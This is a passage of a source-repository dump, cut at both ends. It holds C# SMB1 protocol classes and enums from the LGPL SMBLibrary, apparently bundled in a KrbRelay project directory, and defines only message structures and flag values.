LittleEndianConverter.ToUInt16(this.SMBParameters, 0); 22 | } 23 | 24 | public override CommandName CommandName 25 | { 26 | get 27 | { 28 | return CommandName.SMB_COM_FIND_CLOSE2; 29 | } 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/FindClose2Response.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | /// 4 | /// SMB_COM_FIND_CLOSE2 Response 5 | /// 6 | public class FindClose2Response : SMB1Command 7 | { 8 | public FindClose2Response() : base() 9 | { 10 | } 11 | 12 | public FindClose2Response(byte[] buffer, int offset) : base(buffer, offset, false) 13 | { 14 | } 15 | 16 | public override CommandName CommandName 17 | { 18 | get 19 | { 20 | return CommandName.SMB_COM_FIND_CLOSE2; 21 | } 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/FlushResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_FLUSH Response 12 | /// 13 | public class FlushResponse : SMB1Command 14 | { 15 | public FlushResponse() : base() 16 | { 17 | } 18 | 19 | public FlushResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_FLUSH; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/NTCancelRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_NT_CANCEL Request 12 | /// 13 | public class NTCancelRequest : SMB1Command 14 | { 15 | public NTCancelRequest() 16 | { 17 | } 18 | 19 | public NTCancelRequest(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_NT_CANCEL; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/NTTransactInterimResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_NT_TRANSACT Interim Response 12 | /// 13 | public class NTTransactInterimResponse : SMB1Command 14 | { 15 | public const int ParametersLength = 0; 16 | 17 | public NTTransactInterimResponse() : base() 18 | { 19 | } 20 | 21 | public NTTransactInterimResponse(byte[] buffer, int offset) : base(buffer, offset, false) 22 | { 23 | } 24 | 25 | public override CommandName CommandName 26 | { 27 | get 28 | { 29 | return CommandName.SMB_COM_NT_TRANSACT; 30 | } 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/RenameResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_RENAME Response 12 | /// 13 | public class RenameResponse : SMB1Command 14 | { 15 | public RenameResponse() : base() 16 | { 17 | } 18 | 19 | public RenameResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_RENAME; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/SetInformation2Response.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_SET_INFORMATION2 Response 12 | /// 13 | public class SetInformation2Response : SMB1Command 14 | { 15 | public SetInformation2Response() : base() 16 | { 17 | } 18 | 19 | public SetInformation2Response(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override byte[] GetBytes(bool isUnicode) 24 | { 25 | return base.GetBytes(isUnicode); 26 | } 27 | 28 | public override CommandName CommandName 29 | { 30 | get 31 | { 32 | return CommandName.SMB_COM_SET_INFORMATION2; 33 | } 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/SetInformationResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_SET_INFORMATION Response 12 | /// 13 | public class SetInformationResponse : SMB1Command 14 | { 15 | public SetInformationResponse() : base() 16 | { 17 | } 18 | 19 | public SetInformationResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override byte[] GetBytes(bool isUnicode) 24 | { 25 | return base.GetBytes(isUnicode); 26 | } 27 | 28 | public override CommandName CommandName 29 | { 30 | get 31 | { 32 | return CommandName.SMB_COM_SET_INFORMATION; 33 | } 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/Transaction2InterimResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | public class Transaction2InterimResponse : TransactionInterimResponse 11 | { 12 | public Transaction2InterimResponse() : base() 13 | { 14 | } 15 | 16 | public Transaction2InterimResponse(byte[] buffer, int offset) : base(buffer, offset) 17 | { 18 | } 19 | 20 | public override CommandName CommandName 21 | { 22 | get 23 | { 24 | return CommandName.SMB_COM_TRANSACTION2; 25 | } 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/Transaction2Response.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_TRANSACTION2 Response 12 | /// The SMB_COM_TRANSACTION2 response format is identical to that of the SMB_COM_TRANSACTION response. 13 | /// 14 | public class Transaction2Response : TransactionResponse 15 | { 16 | public Transaction2Response() : base() 17 | { 18 | } 19 | 20 | public Transaction2Response(byte[] buffer, int offset) : base(buffer, offset) 21 | { 22 | } 23 | 24 | public override CommandName CommandName 25 | { 26 | get 27 | { 28 | return CommandName.SMB_COM_TRANSACTION2; 29 | } 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/TreeDisconnectRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_TREE_DISCONNECT Request 12 | /// 13 | public class TreeDisconnectRequest : SMB1Command 14 | { 15 | public TreeDisconnectRequest() : base() 16 | { 17 | } 18 | 19 | public TreeDisconnectRequest(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_TREE_DISCONNECT; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/TreeDisconnectResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_TREE_DISCONNECT Response 12 | /// 13 | public class TreeDisconnectResponse : SMB1Command 14 | { 15 | public TreeDisconnectResponse() : base() 16 | { 17 | } 18 | 19 | public TreeDisconnectResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_TREE_DISCONNECT; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/HeaderFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum HeaderFlags : byte 7 | { 8 | LockAndRead = 0x01, // SMB_FLAGS_LOCK_AND_READ_OK 9 | CaseInsensitive = 0x08, // SMB_FLAGS_CASE_INSENSITIVE 10 | CanonicalizedPaths = 0x10, // SMB_FLAGS_CANONICALIZED_PATHS 11 | Oplock = 0x20, // SMB_FLAGS_OPLOCK 12 | Reply = 0x80, // SMB_FLAGS_REPLY 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/HeaderFlags2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum HeaderFlags2 : ushort 7 | { 8 | LongNamesAllowed = 0x0001, // SMB_FLAGS2_LONG_NAMES 9 | ExtendedAttributes = 0x0002, // SMB_FLAGS2_EAS 10 | SecuritySignature = 0x0004, // SMB_FLAGS2_SMB_SECURITY_SIGNATURE 11 | CompressedData = 0x0008, // SMB_FLAGS2_COMPRESSED 12 | SecuritySignatureRequired = 0x0010, // SMB_FLAGS2_SMB_SECURITY_SIGNATURE_REQUIRED 13 | LongNameUsed = 0x0040, // SMB_FLAGS2_IS_LONG_NAME 14 | ReparsePath = 0x400, // SMB_FLAGS2_REPARSE_PATH 15 | 16 | /// 17 | /// Indicates that the client or server supports extended security 18 | /// 19 | ExtendedSecurity = 0x0800, // SMB_FLAGS2_EXTENDED_SECURITY 20 | 21 | DFS = 0x1000, // SMB_FLAGS2_DFS 22 | ReadIfExecute = 0x2000, // SMB_FLAGS2_PAGING_IO 23 | NTStatusCode = 0x4000, // SMB_FLAGS2_NT_STATUS 24 | Unicode = 0x8000, // SMB_FLAGS2_UNICODE 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Locking/LockType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum LockType : byte 7 | { 8 | READ_WRITE_LOCK = 0x00, 9 | SHARED_LOCK = 0x01, 10 | OPLOCK_RELEASE = 0x02, 11 | CHANGE_LOCKTYPE = 0x04, 12 | 13 | /// 14 | /// Request to cancel all outstanding lock requests for the specified FID and PID. 15 | /// 16 | CANCEL_LOCK = 0x08, 17 | 18 | /// 19 | /// Indicates that the LOCKING_ANDX_RANGE format is the 64-bit file offset version. 20 | /// If this flag is not set, then the LOCKING_ANDX_RANGE format is the 32-bit file offset version 21 | /// 22 | LARGE_FILES = 0x10, 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/NTCreate/FileStatusFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum FileStatusFlags : ushort 7 | { 8 | NO_EAS = 0x01, 9 | NO_SUBSTREAMS = 0x02, 10 | NO_REPARSETAG = 0x04, 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/NTCreate/NTCreateFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum NTCreateFlags : uint 7 | { 8 | /// 9 | /// If set, the client requests an exclusive OpLock. 10 | /// 11 | NT_CREATE_REQUEST_OPLOCK = 0x00000002, 12 | 13 | /// 14 | /// If set, the client requests an exclusive batch OpLock. 15 | /// 16 | NT_CREATE_REQUEST_OPBATCH = 0x00000004, 17 | 18 | NT_CREATE_OPEN_TARGET_DIR = 0x00000008, 19 | NT_CREATE_REQUEST_EXTENDED_RESPONSE = 0x00000010, // SMB 1.0 addition 20 | } 21 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/NTCreate/OpLockLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum OpLockLevel : byte 4 | { 5 | NoOpLockGranted = 0x00, 6 | ExclusiveOpLockGranted = 0x01, 7 | BatchOpLockGranted = 0x02, 8 | Level2OpLockGranted = 0x03, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/NTCreate/SecurityFlags.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum SecurityFlags : byte 4 | { 5 | SMB_SECURITY_CONTEXT_TRACKING = 0x01, 6 | SMB_SECURITY_EFFECTIVE_ONLY = 0x02, 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Negotiate/SecurityMode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum SecurityMode : byte 7 | { 8 | /// 9 | /// If clear, the server supports only Share Level access control. 10 | /// If set, the server supports only User Level access control. 11 | /// 12 | UserSecurityMode = 0x01, // NEGOTIATE_USER_SECURITY 13 | 14 | /// 15 | /// If clear, the server supports only plaintext password authentication. 16 | /// If set, the server supports challenge/response authentication. 17 | /// Note: Windows 2000 and above do not support plain-text passwords by default. 18 | /// 19 | EncryptPasswords = 0x02, // NEGOTIATE_ENCRYPT_PASSWORDS 20 | 21 | SecuritySignaturesEnabled = 0x04, // NEGOTIATE_SECURITY_SIGNATURES_ENABLED 22 | SecuritySignaturesRequired = 0x08, // NEGOTIATE_SECURITY_SIGNATURES_REQUIRED 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Open/AccessRights.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum AccessRights : ushort 4 | { 5 | SMB_DA_ACCESS_READ = 0x00, 6 | SMB_DA_ACCESS_WRITE = 0x01, 7 | SMB_DA_ACCESS_READ_WRITE = 0x02, 8 | } 9 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Open/OpenFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum OpenFlags : ushort 7 | { 8 | /// 9 | /// If this bit is set, the client requests that the file attribute data in the response be populated. 10 | /// All fields after the FID in the response are also populated. If this bit is not set, 11 | /// all fields after the FID in the response are zero. 12 | /// 13 | REQ_ATTRIB = 0x0001, 14 | 15 | /// 16 | /// Client requests an exclusive OpLock on the file. 17 | /// 18 | REQ_OPLOCK = 0x0002, 19 | 20 | /// 21 | /// Client requests a Batch OpLock on the file. 22 | /// 23 | REQ_OPLOCK_BATCH = 0x0004, 24 | 25 | /// 26 | /// SMB 1.0 Addition. 27 | /// If set, the client is requesting the extended format of the response. 28 | /// 29 | SMB_OPEN_EXTENDED_RESPONSE = 0x0010, 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Open/OpenResult.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum OpenResult : byte 4 | { 5 | Reserved = 0x00, 6 | FileExistedAndWasOpened = 0x01, 7 | NotExistedAndWasCreated = 0x02, 8 | FileExistedAndWasTruncated = 0x03, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/ResourceType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum ResourceType : ushort 4 | { 5 | FileTypeDisk = 0x0000, 6 | FileTypeByteModePipe = 0x0001, 7 | FileTypeMessageModePipe = 0x0002, 8 | FileTypePrinter = 0x0003, 9 | 10 | /// 11 | /// OpenAndX Response: Valid. 12 | /// OpenAndX Extended Response: Invalid (SMB 1.0). 13 | /// NTCreateAndX Response: Valid. 14 | /// NTCreateAndX Extended Response: Invalid (SMB 1.0). 15 | /// Transact2Open2: Was never valid 16 | /// 17 | FileTypeCommDevice = 0x0004, 18 | 19 | /// 20 | /// OpenAndX Response: Valid 21 | /// NTCreateAndX Response: Invalid 22 | /// Transact2Open2 Response: Valid 23 | /// TransactCreate Response: Valid 24 | /// 25 | FileTypeUnknown = 0xFFFF, 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/SMBFileAttributes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | /// 6 | /// SMB_FILE_ATTRIBUTES 7 | /// 8 | [Flags] 9 | public enum SMBFileAttributes : ushort 10 | { 11 | Normal = 0x0000, // SMB_FILE_ATTRIBUTE_NORMAL 12 | ReadOnly = 0x0001, // SMB_FILE_ATTRIBUTE_READONLY 13 | Hidden = 0x0002, // SMB_FILE_ATTRIBUTE_HIDDEN 14 | System = 0x0004, // SMB_FILE_ATTRIBUTE_SYSTEM 15 | Volume = 0x0008, // SMB_FILE_ATTRIBUTE_VOLUME 16 | Directory = 0x0010, // SMB_FILE_ATTRIBUTE_DIRECTORY 17 | Archive = 0x0020, // SMB_FILE_ATTRIBUTE_ARCHIVE 18 | SearchReadOnly = 0x0100, // SMB_SEARCH_ATTRIBUTE_READONLY 19 | SearchHidden = 0x0200, // SMB_SEARCH_ATTRIBUTE_HIDDEN 20 | SearchSystem = 0x0400, // SMB_SEARCH_ATTRIBUTE_SYSTEM 21 | SearchDirectory = 0x1000, // SMB_SEARCH_ATTRIBUTE_DIRECTORY 22 | SearchArchive = 0x2000, // SMB_SEARCH_ATTRIBUTE_ARCHIVE 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/SessionSetup/SessionSetupAction.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum SessionSetupAction : ushort 7 | { 8 | SetupGuest = 0x01, // SMB_SETUP_GUEST 9 | UseLanmanKey = 0x02, // SMB_SETUP_USE_LANMAN_KEY 10 | } 11 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Transaction/TransactionFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum TransactionFlags : ushort 7 | { 8 | DISCONNECT_TID = 0x0001, 9 | NO_RESPONSE = 0x0002, 10 | } 11 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/TreeConnect/OptionalSupportFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum OptionalSupportFlags : ushort 7 | { 8 | /// 9 | /// The server supports the use of SMB_FILE_ATTRIBUTES exclusive search attributes in client requests. 10 | /// 11 | SMB_SUPPORT_SEARCH_BITS = 0x0001, 12 | 13 | SMB_SHARE_IS_IN_DFS = 0x0002, 14 | 15 | SMB_CSC_CACHE_MANUAL_REINT = 0x0000, // SMB_CSC_MASK = 0 16 | SMB_CSC_CACHE_AUTO_REINT = 0x0004, // SMB_CSC_MASK = 1 17 | SMB_CSC_CACHE_VDO = 0x0008, // SMB_CSC_MASK = 2 18 | SMB_CSC_NO_CACHING = 0x000C, // SMB_CSC_MASK = 3 19 | 20 | SMB_UNIQUE_FILE_NAME = 0x0010, 21 | SMB_EXTENDED_SIGNATURES = 0x0020, 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/TreeConnect/ServiceName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum ServiceName 4 | { 5 | DiskShare, 6 | PrinterShare, 7 | NamedPipe, 8 | SerialCommunicationsDevice, 9 | 10 | /// 11 | /// Valid only for request 12 | /// 13 | AnyType, 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/TreeConnect/TreeConnectFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum TreeConnectFlags : ushort 7 | { 8 | /// 9 | /// If set and SMB_Header.TID is valid, the tree connect specified by the TID in the SMB 10 | /// header of the request SHOULD be disconnected when the server sends the response. If this tree disconnect fails, then the error SHOULD be ignored 11 | /// If set and TID is invalid, the server MUST ignore this bit. 12 | /// 13 | DisconnectTID = 0x0001, // TREE_CONNECT_ANDX_DISCONNECT_TID 14 | 15 | /// 16 | /// SMB 1.0 addition. 17 | /// If set, then the client is requesting signing key protection. 18 | /// 19 | ExtendedSignatures = 0x0004, // TREE_CONNECT_ANDX_EXTENDED_SIGNATURES 20 | 21 | /// 22 | /// SMB 1.0 addition. 23 | /// If set, then the client is requesting extended information in the SMB_COM_TREE_CONNECT_ANDX response. 24 | /// 25 | ExtendedResponse = 0x0008, // TREE_CONNECT_ANDX_EXTENDED_RESPONSE 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Enums/Write/WriteMode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum WriteMode : ushort 7 | { 8 | WritethroughMode = 0x0001, 9 | ReadBytesAvailable = 0x0002, 10 | RAW_MODE = 0x0004, 11 | MSG_START = 0x0008, 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/NTTransactSubcommands/Enums/NTTransactSubcommandName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | /// 4 | /// This is the Function field in SMB_COM_NT_TRANSACT request 5 | /// 6 | public enum NTTransactSubcommandName : ushort 7 | { 8 | NT_TRANSACT_CREATE = 0x0001, 9 | NT_TRANSACT_IOCTL = 0x0002, 10 | NT_TRANSACT_SET_SECURITY_DESC = 0x0003, 11 | NT_TRANSACT_NOTIFY_CHANGE = 0x0004, 12 | 13 | // NT_TRANSACT_RENAME = 0x0005, 14 | NT_TRANSACT_QUERY_SECURITY_DESC = 0x0006, 15 | 16 | NT_TRANSACT_QUERY_QUOTA = 0x0007, 17 | NT_TRANSACT_SET_QUOTA = 0x0008, 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/NTTransactSubcommands/NTTransactSetSecurityDescriptorResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014-2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// NT_TRANSACT_SET_SECURITY_DESC Response 12 | /// 13 | public class NTTransactSetSecurityDescriptorResponse : NTTransactSubcommand 14 | { 15 | public const int ParametersLength = 0; 16 | 17 | public NTTransactSetSecurityDescriptorResponse() 18 | { 19 | } 20 | 21 | public override NTTransactSubcommandName SubcommandName 22 | { 23 | get 24 | { 25 | return NTTransactSubcommandName.NT_TRANSACT_SET_SECURITY_DESC; 26 | } 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Transaction2Subcommands/Enums/FindFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum FindFlags : ushort 7 | { 8 | SMB_FIND_CLOSE_AFTER_REQUEST = 0x0001, 9 | SMB_FIND_CLOSE_AT_EOS = 0x0002, 10 | SMB_FIND_RETURN_RESUME_KEYS = 0x0004, 11 | SMB_FIND_CONTINUE_FROM_LAST = 0x0008, 12 | SMB_FIND_WITH_BACKUP_INTENT = 0x0010, 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Transaction2Subcommands/Enums/Open2Flags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | [Flags] 6 | public enum Open2Flags : ushort 7 | { 8 | /// 9 | /// Return additional information in the response; 10 | /// populate the CreationTime, FileDataSize, AccessMode, ResourceType, and NMPipeStatus fields in the response. 11 | /// 12 | REQ_ATTRIB = 0x0001, 13 | 14 | /// 15 | /// Exclusive OpLock requested. 16 | /// 17 | REQ_OPLOCK = 0x0002, 18 | 19 | /// 20 | /// Batch OpLock requested. 21 | /// 22 | REQ_OPBATCH = 0x0004, 23 | 24 | /// 25 | /// Return total length of Extended Attributes (EAs); 26 | /// populate the ExtendedAttributeLength field in the response. 27 | /// 28 | REQ_EASIZE = 0x0008, 29 | } 30 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Transaction2Subcommands/Enums/SearchStorageType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum SearchStorageType : uint 4 | { 5 | FILE_DIRECTORY_FILE = 0x01, 6 | FILE_NON_DIRECTORY_FILE = 0x40, 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Transaction2Subcommands/Enums/Transaction2SubcommandName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum Transaction2SubcommandName : ushort 4 | { 5 | TRANS2_OPEN2 = 0x0000, 6 | TRANS2_FIND_FIRST2 = 0x0001, 7 | TRANS2_FIND_NEXT2 = 0x0002, 8 | TRANS2_QUERY_FS_INFORMATION = 0x0003, 9 | TRANS2_SET_FS_INFORMATION = 0x0004, 10 | TRANS2_QUERY_PATH_INFORMATION = 0x0005, 11 | TRANS2_SET_PATH_INFORMATION = 0x006, 12 | TRANS2_QUERY_FILE_INFORMATION = 0x0007, 13 | TRANS2_SET_FILE_INFORMATION = 0x0008, 14 | TRANS2_CREATE_DIRECTORY = 0x000D, 15 | TRANS2_GET_DFS_REFERRAL = 0x0010, 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Transaction2Subcommands/Transaction2SetFSInformationResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// TRANS2_SET_FS_INFORMATION Response 12 | /// 13 | public class Transaction2SetFSInformationResponse : Transaction2Subcommand 14 | { 15 | public const int ParametersLength = 0; 16 | 17 | public Transaction2SetFSInformationResponse() : base() 18 | { 19 | } 20 | 21 | public override Transaction2SubcommandName SubcommandName 22 | { 23 | get 24 | { 25 | return Transaction2SubcommandName.TRANS2_SET_FS_INFORMATION; 26 | } 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/TransactionSubcommands/Enums/NamedPipeState.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum NamedPipeState : ushort 4 | { 5 | DisconnectedByServer = 0x0001, 6 | Listening = 0x0002, 7 | ConnectionToServerOK = 0x0003, 8 | ServerEndClosed = 0x0004, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/TransactionSubcommands/Enums/TransactionSubcommandName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum 